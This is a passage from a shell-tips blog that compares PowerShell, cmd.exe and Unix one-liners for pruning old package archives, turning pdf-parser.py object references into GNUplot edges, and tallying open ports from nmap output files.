{pkg-three-30553.tar.gz, pkg-three-23830.tar.gz, pkg-three-1...<br /> 5 two {pkg-two-28727.tar.gz, pkg-two-27692.tar.gz, pkg-two-27368.t...<br /> 5 five {pkg-five-27296.tar.gz, pkg-five-26739.tar.gz, pkg-five-2142...<br /> 5 one {pkg-one-24343.tar.gz, pkg-one-13225.tar.gz, pkg-one-4484.ta...</pre><br /><br />The package and version number are retrieved by using the Split method using dots and dashes as delimiters. The version is the 3rd item (index 2, remember, base zero) and the package is the 2nd (index 1). The version is used to sort and the package name is used for grouping.<br /><br />At this point we have groups that contain the files sorted, in descending order, by the version number. Now we need to get all but the first two items.<br /><br /><pre>PS C:\> <b>ls | sort {[int]($_.Name.Split("-.")[2])} -desc |<br /> group {$_.Name.Split("-.")[1]} | % { $_.Group[2..($_.Count)]}</b><br /><br />Mode LastWriteTime Length Name<br />---- ------------- ------ ----<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-18533.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-8343.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-511.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-15026.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-13226.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-4311.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-27368.tar.gz<br />...</pre><br /><br />The ForEach-Object cmdlet (alias %) is used to operate on each group. As you will remember, the items in the group are sorted in descending order by the version number. We need to select the 3rd through the last item, and this is accomplished by using the Range operator (..) with our collection of objects. The Range of 2..($_.Count) gives us everything but the first two items. Technically, I have an off-by-one issue with the upper bound, but PowerShell is kind enough not to barf on me. I did this to save a few key strokes; although, I am using a lot more key strokes to justify my laziness. Ironic? Yes.<br /><br />All we have to do now is pipe it into the Remove-Item (alias del, erase, rd, ri, rm, rmdir).<br /><br /><pre>PS C:\> <b>ls | sort {[int]($_.Name.Split("-.")[2])} -desc |<br /> group {$_.Name.Split("-.")[1]} | % { $_.Group[2..($_.Count)]} | rm</b><br /><br />PS C:\> <b>ls</b><br /><br />Mode LastWriteTime Length Name<br />---- ------------- ------ ----<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-26739.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-27296.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-25925.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-31089.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-13225.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-24343.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-23830.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-30553.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-27692.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-28727.tar.gz</pre><br /><br />Not too bad, but now it is time for the sucky part.<br /><br /><font size="4">CMD.EXE</font><br /><br />Here is the file creator:<br /><br /><pre>C:\> <b>cmd /v:on /c "for /r %i in (pkg-one pkg-two pkg-three pkg-four pkg-five) do<br />@for /l %j in (1,1,5) do @echo "" > %i-!random!.tar.gz" </b></pre><br /><br />Similar to the previous examples, this uses two loops to write our file.<br /><br />Now for the beast to nuke the old packages...<br /><br /><pre>C:\> <b>cmd /v:on /c "for /f %a in ('^(for /f "tokens=2 delims=-." %b in ^('dir /b *.*'^) do<br />@echo %b ^) ^| sort') do @set /a first=0 > NUL & @set /a second=0 > NUL & @(for /f "tokens=1,2,3,*<br />delims=-." %i in ('dir /b *.* ^| find "%a"') do @set /a v=%k > NUL & IF !v! GTR !first! (del<br />%i-%j-!second!.tar.gz && set /a second=!first! > NUL && set /a first=!v! > NUL) ELSE (IF !v! GTR<br />!second! (del %i-%j-!second!.tar.gz && set /a second=!v! > NUL) ELSE (del %i-%j-!v!.tar.gz)))"</b><br /><br />C:\> <b>dir</b><br /> Volume in drive C has no label.<br /> Volume Serial Number is DEAD-BEEF<br /><br /> Directory of C:\<br /><br />11/01/2011 01:23 PM <DIR> .<br />11/01/2011 01:23 PM <DIR> ..<br />11/01/2011 01:23 PM 2 pkg-five-26739.tar.gz<br />11/01/2011 01:23 PM 2 pkg-five-27296.tar.gz<br />11/01/2011 01:23 PM 2 pkg-four-18533.tar.gz<br />11/01/2011 01:23 PM 2 pkg-four-8343.tar.gz<br />11/01/2011 01:23 PM 2 pkg-one-13225.tar.gz<br />11/01/2011 01:23 PM 2 pkg-one-24343.tar.gz<br />11/01/2011 01:23 PM 2 pkg-three-23830.tar.gz<br />11/01/2011 01:23 PM 2 pkg-three-30553.tar.gz<br />11/01/2011 01:23 PM 2 pkg-two-27692.tar.gz<br />11/01/2011 01:23 PM 2 pkg-two-28727.tar.gz<br /> 10 File(s) 20 bytes<br /> 2 Dir(s) 1,234,567,890 bytes free<br /></pre><br /><br />As this command is barely decipherable, I'm not going to go through it in great detail, but I will describe it at a high level.<br /><br />We start off by enabling delayed variable expansion so we can set and immediately use a variable. We then use a trusty For loop (actually, I don't trust the sneaky bastards) to find the package names. We then use another For loop to work with each file that matches the current package by using a directory listing plus the Find command. Now is where it get really hairy...<br /><br />We need to keep the two files with the highest version number. To do this we use two variables, First and Second, to hold the two highest version numbers. Both variables are initialized to zero. Next we need to do some crazy comparisons.<br /><br />1. If the version number of the current file for the current package is greater than First, we delete the file related to Second, move First to Second, and set First equal to the current version.<br /><br />2. If the version number of the current file for the current package is less than First but greater than Second, we delete the file related to Second and set Second equal to the current version.<br /><br />3. If the version number of the current file for the current package is less than both First and Second then the file is deleted.<br /><br />Ok, Hal, you have your CMD.EXE. I would say "TAKE THAT", but I'm pretty sure I'm the one that was taken.Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-62338523977576463372011-10-18T05:00:00.003-04:002011-10-18T05:00:03.475-04:00Episode #160: Plotting to Take Over the World<font size="4">Hal's been teaching</font><br /><br />Whew! Just got done with another week of teaching, this time at SANS Baltimore. I even got a chance to give my "<a href="http://www.deer-run.com/~hal/Unix_Command-Line_Kung_Fu_(OSBridge).pdf" target="_blank">Return of Command Line Kung Fu</a>" talk, so I got a bunch of shell questions.<br /><br />One of my students had a very interesting challenge. To help analyze malicious PDF documents, he was trying to parse the output of Didier Stevens' <a href="http://blog.didierstevens.com/2008/10/30/pdf-parserpy/" target="_blank">pdf-parser.py</a> and create an input file for <a href="http://www.gnuplot.info" target="_blank">GNUplot</a> that would show a graph of the object references in the document. Here's a sample of the kind of output we're dealing with:<br /><br /><pre>$ <b>pdf-parser.py CLKF.pdf</b><br />PDF Comment '%PDF-1.3\n'<br /><br />PDF Comment '%\xc7\xec\x8f\xa2\n'<br /><br />obj 5 0<br /> Type: <br /> Referencing: 6 0 R<br /> Contains stream<br /> [(1, '\n'), (2, '<<'), (2, '/Length'), (1, ' '), (3, '6'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/Filter'), (1, ' '), (2, '/FlateDecode'), (2, '>>'), (1, '\n')]<br /><br /> <<<br /> /Length 6 0 R<br /> /Filter /FlateDecode<br /> >><br /><br /><br />obj 6 0<br /> Type: <br /> Referencing: <br /> [(1, '\n'), (3, '678'), (1, '\n')]<br />...<br /><br /><br />obj 4 0<br /> Type: /Page<br /> Referencing: 3 0 R, 11 0 R, 12 0 R, 13 0 R, 5 0 R<br />...</pre><br />The lines like "obj 5 0" give the object number and version of a particular object in the PDF. The "Referencing" lines below show the objects referenced. A given object can reference any number of objects from zero to many.<br /><br />To make the chart with GNUplot, we need to create an input file that shows "obj -> ref;" for all references. So for object #5, we'd have one line of output that shows "5 -> 6;". There would be no output for object #6, since it references zero objects. And we'd get 5 lines of output for object #4, "4 -> 3;", "4 -> 11;", and so on.<br /><br />This seems like a job for awk. Frankly, I thought about just calling Davide Brini and letting him write this week's Episode, but he's already getting too big for his britches. So here's my poor, fumbling attempt:<br /><br /><pre>$ <b>pdf-parser.py CLKF.pdf |<br /> awk '/^obj/ { objnum = $2 };<br /> /Referencing: [0-9]/ \<br /> { max = split($0, a);<br /> for (i = 2; i < max; i += 3) { print objnum" -> "a[i]";" }<br /> }'</b><br />5 -> 6;<br />...<br />4 -> 3;<br />4 -> 11;<br />4 -> 12;<br />4 -> 13;<br />4 -> 5;<br />...</pre><br />The first line of awk matches the "obj" lines and puts the object number into the variable "objnum". The second awk expression matches the "Referencing" lines, but notice that I added a "[0-9]" at the end of the pattern match so that I only bother with lines that actually include referenced objects.<br /><br />When we hit a line like that, then we do the stuff in the curly braces. split() breaks our input line, aka "$0", on white space and puts the various fields into an array called "a". split() also returns the number of elements in the array, which we put into a variable called "max". Then I have a for loop that goes through the array, starting with the second element-- this is the actual object number that follows "Referencing:". Notice the loop update code is "i += 3", which allows me to just access the object number elements and skip over the other crufty stuff I don't care about. Inside the loop we just print out the object number and current array element with the appropriate punctuation for GNUplot.<br /><br />Meh. It's a little scripty, I must confess. Mostly because of the for loop inside of the awk statement to iterate over the references. But it gets the job done, and I really did compose this on the command line rather than in a script file.<br /><br />Let's see if Tim's plotting involves a trip to Scriptistan as well...<br /><br /><font size="4">Tim's traveling</font><br /><br />While I have been out of the country for a few weeks, I didn't have to visit Scriptistan to get my fu for this week. The PowerShell portion is a bit long, but I wouldn't classify it as a script even though it has a semicolon in it. We do have lots of ForEach-Object cmdlets, Select-String cmdlets, and Regular Expressions. And you know what they say about Regular Expressions: Much like violence, if Regular Expressions aren't working, you aren't using enough of it.<br /><br />Instead of starting off with some ultraviolent fu, let's build up to that before we wield the energy to destroy medium-large buildings. First, let's find the object number and its references.<br /><br /><pre>PS C:\> <b>C:\Python25\python.exe pdf-parser.py CLKF.pdf |<br /> Select-String -Pattern "(?<=^obj\s)\d+" -Context 0,2</b><br /><br />> obj 5 0<br /> Type:<br /> Referencing: 6 0 R<br />> obj 6 0<br /> Type:<br /> Referencing:<br />> obj 15 0<br /> Type:<br /> Referencing: 16 0 R<br />...<br />> obj 4 0<br /> Type: /Page<br /> Referencing: 3 0 R, 11 0 R, 12 0 R, 13 0 R, 5 0 R</pre><br /><br />The output of pdf-parser.py is piped into the Select-String cmdlet which finds lines that start with "obj", are followed by a space (\s), then one or more digits (\d+). The Context switch is used to get the next two lines so we can later use the "Referencing" portion.<br /><br />You might also notice our regular expression uses a "positive look behind", meaning that it needs to see "obj " before the number we want. This way we end up with just the object number being selected and not the useless text in front of it. This is demonstrated by Matches object shown below.<br /><br /><pre>PS C:\> <b>C:\Python25\python.exe pdf-parser.py CLKF.pdf |<br /> Select-String -Pattern "(?<=^obj\s)[0-9]+" -Context 0,2 | Format-List</b><br /><br />IgnoreCase : True<br />LineNumber : 7<br />Line : obj 5 0<br />Filename : InputStream<br />Path : InputStream<br />Pattern : (?<=^obj\s)[0-9]+<br />Context : Microsoft.PowerShell.Commands.MatchInfoContext<br />Matches : {5}<br />...</pre><br /><br />To parse the Referencing line we need we need to use some more <s>violence</s> regular expressions on the Context object. First, let's see what the Context object looks like. To do this we previous command into the command below to see the available properties.<br /><br /><pre>PS C:\> <b>... | Select-Object -ExcludeProperty Context | Get-Member</b><br /><br /> TypeName: Microsoft.PowerShell.Commands.MatchInfoContext<br /><br />Name MemberType Definition<br />---- ---------- ----------<br />Clone Method System.Object Clone()<br />Equals Method bool Equals(System.Object obj)<br />GetHashCode Method int GetHashCode()<br />GetType Method type GetType()<br />ToString Method string ToString()<br />DisplayPostContext Property System.String[] DisplayPostContext {get;set;}<br />DisplayPreContext Property System.String[] DisplayPreContext {get;set;}<br />PostContext Property System.String[] PostContext {get;set;}<br />PreContext Property System.String[] PreContext {get;set;}</pre><br /><br />The PostContext property contains the two lines that followed our initial match. We can access the second line by access the row with an index of 1 (remember, base zero, so 1=2).<br /><br /><pre>PS C:\> <b>C:\Python25\python.exe pdf-parser.py CLKF.pdf |<br /> Select-String -Pattern "(?<=^obj\s)[0-9]+" -Context 0,2 |<br /> ForEach-Object { $objnum = $_.matches[0].Value; $_.Context.PostContext[1] }</b><br /><br /> Referencing: 6 0 R<br /> Referencing:<br /> Referencing: 16 0 R<br /> Referencing:<br /> Referencing: 25 0 R<br />...<br /></pre><br /><br />The above command saves the current object number in $objnum and then outputs the second line of the PostContext.<br /><br />Finally, we need to parse the Context with <s>ultra violence</s> more regular expressions and display our output.<br /><br /><pre>PS C:\> <b>C:\Python25\python.exe pdf-parser.py CLKF.pdf |<br /> Select-String -Pattern "(?<=^obj\s)[0-9]+" -Context 0,2 |<br /> % { $objnum = $_.matches[0].Value; $_.Context.PostContext[1] |<br /> Select-String "(\d+(?=\s0\sR))" -AllMatches | Select-Object -ExpandProperty matches |<br /> ForEach-Object { "$($objnum)->$($_.Value)" } }</b><br /><br />5 -> 6;<br />...<br />4 -> 3;<br />4 -> 11;<br />4 -> 12;<br />4 -> 13;<br />4 -> 5;<br />...</pre><br /><br />The second line of PostContect, the Referencing line, is piped into the Select-String cmdlet where we use our regular expression to look for the a number followed by "<space>0<space>R". The AllMatches switch is used to find all the objects referenced. We then Expand the matches property so we can work with each match inside our ForEach-Object cmdlet where we output the original object number and the found reference.Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-74382444464518480732011-10-04T05:00:00.002-04:002011-10-05T21:01:10.309-04:00Episode #159: Portalogical Exam<font size="4">Tim finally has an idea</font><br /><br />Sadly, we've been away for two weeks due to lack of new, original ideas for posts. BUT! I came up with and idea. Yep, all by myself too. (By the way, if you have an idea for an episode send it in)<br /><br />During my day job pen testing, I regularly look at nmap results to see what services are available. I like to get a high level look at the open ports. For example, lots of tcp/445 means a bunch of Windows boxes. It is also useful to quickly see the one off ports, and in this line of work, the one offs can be quite important. One unique service may be legacy, special (a.k.a. not patched), or forgotten.<br /><br />Nmap has a number of output options: XML, grep'able output, and standard nmap output. PowerShell really favors objects, which means that XML will work great. So let's start off by reading the file and parsing it as XML.<br /><br /><pre>PS C:\> <b>[xml](Get-Content nmap.xml)</b><br /><br />xml xml-stylesheet #comment nmaprun<br />--- -------------- -------- -------<br />version="1.0" href="file:///usr/local/sh... Nmap 5.51 scan initiated ... nmaprun</pre><br /><br />Get-Content (alias gc, cat, type) is used to read the file, then [xml] parses it and converts it to an XML object. After we have an XML object, we can see all the nodes of the document. To access each node we access it like any property:<br /><br /><pre>PS C:\> <b>([xml](gc nmap.xml)).nmaprun.host</b></pre><br /><br />But each host has a ports property that needs to be expanded, and each ports property has multiple port properties to be expanded. To do this we use a pair of Select-Object cmdlets with the -ExpandProperty switch (-ex for short).<br /><br /><pre>PS C:\> <b>([xml](gc .nmap.xml)).nmaprun.host | select -expand ports | <br />select -ExpandProperty port</b><br /><br />protocol portid state service<br />-------- ------ ----- -------<br />tcp 22 state service<br />tcp 23 state service<br />tcp 80 state service<br />tcp 443 state service<br />tcp 80 state service<br />tcp 443 state service<br />...</pre><br /><br />Nmap can have information on closed ports, so I like to make sure that I am only looking at open ports. We use the Where-Object cmdlet (alias ?) to filter for ports that are open. Each port has a state element and a state property, and we'll check if the state of the state (yep, that's right) is open:<br /><br /><pre>PS C> <b>... | ? { $_.state.state -eq "open" }</b></pre><br /><br />The output is the same, just with extra filtering. Now all we need to do is count. To do that, we use the Group-Object cmdlet (alias group).<br /><br /><pre>PS C:\> <b>([xml](gc nmap.xml)).nmaprun.host | select -expand ports | <br />select -ExpandProperty port | ? { $_.state.state -eq "open" } | <br />group protocol,portid -NoElement</b><br /><br />Count Name<br />----- ----<br /> 12 tcp, 80<br /> 1 tcp, 25<br /> 12 tcp, 443<br /> 2 tcp, 53<br /> ...</pre><br /><br />The -NoElement switch tells the cmdlet to discard the individual objects and just give us the group information.<br /><br />Of course, if we are looking for patterns or one off ports we need use the Sort-Object cmdlet (alias sort) by the Count and use the -Descending switch (-desc for short)..<br /><br /><pre>PS C:\> <b>([xml](gc nmap.xml)).nmaprun.host | select -expand ports | <br />select -ExpandProperty port | ? { $_.state.state -eq "open" } | <br />group protocol,portid -NoElement | sort count -desc</b><br /><br />Count Name<br />----- ----<br /> 12 tcp, 443<br /> 12 tcp, 80<br /> 2 tcp, 53<br /> 2 tcp, 18264<br /> ...</pre><br /><br /><br />Now that's handy, but many times I have multiple scans, like a UDP scan and a TCP scan. If we want to combine multiple scans into one table we can do it relatively easily.<br /><br /><pre>PS C:\> <b>ls *.xml | % { ([xml](gc $_)).nmaprun.host } | select -expand ports |<br />select -ExpandProperty port | ? { $_.state.state -eq "open" } |<br />group protocol,portid -NoElement | sort count -desc</b><br /><br />Count Name<br />----- ----<br /> 12 tcp, 443<br /> 12 tcp, 80<br /> 3 udp, 161<br /> 2 tcp, 53<br /> 2 tcp, 18264<br /> ...</pre><br /><br />The beauty of PowerShell's pipeline is that we can use any method we want to pick the files, then feed them into the next command with a ForEach-Object loop (alias %).<br /><br />Now that I've checked all my ports, it's time for Hal to get his checked.<br /><br /><font size="4">Hal examines his options</font><br /><br />Tim, when you get to be my age, you'll get all of your ports checked on an annual basis.<br /><br />Now let's examine this so-called idea of Tim's. Oh sure, XML is all fine and dandy for fancy scripting languages like Powershell. But you'll notice he didn't even attempt to do this in CMD.EXE. Weakling.<br /><br />While XML is generally a multi-line format and not typically conducive to shell utilities that operate on a "line at a time" basis, for something simple like this we can easily hack together some code. In the XML format, the lines that show open ports have a regular format:<br /><br /><pre><port protocol="tcp" portid="443"><state state="open" />...</port></pre><br />So pardon me while I throw down some sed:<br /><br /><pre>$ <b>sed 's/^<port protocol="\([^"]*\)" portid="\([^"]*\)"><state state="open".*/\2\/\1/; <br /> t p; d; :p' test.xml | sort | uniq -c | sort -nr -k1 -k2</b><br /> 6 443/tcp<br /> 5 80/tcp<br /> 3 22/tcp<br /> 2 3306/tcp<br /> 1 9100/tcp<br />...</pre><br />The first part of the sed expression is a substitution that matches the protocol name and port number and replaces the entire line with just "<port>/<protocol>". Now I only want to output the lines where this substitution succeeded, so I use "t p" to branch to the label ":p" whenever the substitution happens. If we <i>don't</i> branch, then we hit the "d" command to drop the pattern space without printing and move onto the next line. Since the ":p" label we jump to on a successful substitution is an empty block, sed just prints the pattern space and moves onto the next line. This is a useful sed idiom for only printing our matching lines.<br /><br />The rest of the pipeline puts the output lines from sed into sorted order so we can feed them into "uniq -c" to count the occurrences of each line. After that we use sort again to do a descending numeric sort ("-nr") of first the counts ("-k1") and then the port numbers ("-k2"). And that give us the output we want.<br /><br />I actually find the so-called "grep-able" output format of Nmap kind of a pain to deal with for this kind of thing. That's because Nmap insists on jamming all of the port information together into delimited, but variable length lines like this:<br /><br /><pre>Host: 192.168.1.2 (test.deer-run.com) Ports: 22/open/tcp//ssh///, <br />25/open/tcp//smtp///, 53/open/tcp//domain///, 80/open/tcp//http///, <br />139/open/tcp//netbios-ssn///, 143/open/tcp//imap///, 443/open/tcp//https///, <br />445/open/tcp//microsoft-ds///, 514/open/tcp//shell///, 587/open/tcp//submission///, <br />601/open/tcp/////, 902/open/tcp//iss-realsecure-sensor///, 993/open/tcp//imaps///, <br />1723/open/tcp//pptp///, 8009/open/tcp//ajp13/// Seq Index: 3221019...</pre><br />So to handle this problem, I'm just going to use tr to convert the spaces to newlines, forcing the output to have a single port entry per line. After that, it's just awk:<br /><br /><pre>$ <b>cat test.gnmap | tr ' ' \\n | awk -F/ '/\/\/\// {print $1 "/" $3}' | <br /> sort | uniq -c | sort -nr -k1 -k2</b><br /> 6 443/tcp<br /> 5 80/tcp<br /> 3 22/tcp<br /> 2 3306/tcp<br /> 1 9100/tcp<br />...</pre><br />The port listings all end with "///", so I use awk to match those lines and output the port and protocol fields. Notice the "-F/" option so that awk uses the slash character as the field delimiter instead of whitespace. After that it's the same "sort ... | uniq -c | sort ..." pipeline we used in the last case to format the output.<br /><br />The easiest case is actually the regular Nmap output:<br /><br /><pre>$ <b>awk '/^[0-9]/ {print $1}' test.nmap | sort | uniq -c | sort -nr -k1 -k2</b><br /> 6 443/tcp<br /> 5 80/tcp<br /> 3 22/tcp<br /> 2 3306/tcp<br /> 1 9100/tcp<br />...</pre><br />The lines about open ports are the only ones in the output that start with digits. So it's a quick awk expression to match these lines and output the port specifier. After that, we use the same pipeline we used in the previous examples to format the output appropriately.<br /><br />So, Tim, my shell may not have built-in tools to parse XML but it's apparently three times the shell that yours is. Stick that in your port and smoke it.<br /><br /><font size="4">Because Davide sed So</font><br /><br />Proving he's not just a whiz at awk, Davide Brini wrote in with a more elegant sed idiom for just printing the lines that match our substitution:<br /><br /><pre>$ <b>sed -n 's/^<port protocol="\([^"]*\)" portid="\([^"]*\)"><state state="open".*/\2\/\1/p' test.xml | <br /> sort | uniq -c | sort -nr -k1 -k2</b><br /> 6 443/tcp<br /> 5 80/tcp<br /> 3 22/tcp<br /> 2 3306/tcp<br /> 1 9100/tcp<br />...</pre><br />"sed -n ..." suppresses the normal sed output and "s/.../.../p" causes the lines that match our substitution to be printed out. And that's much easier. Thanks, Davide!Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.com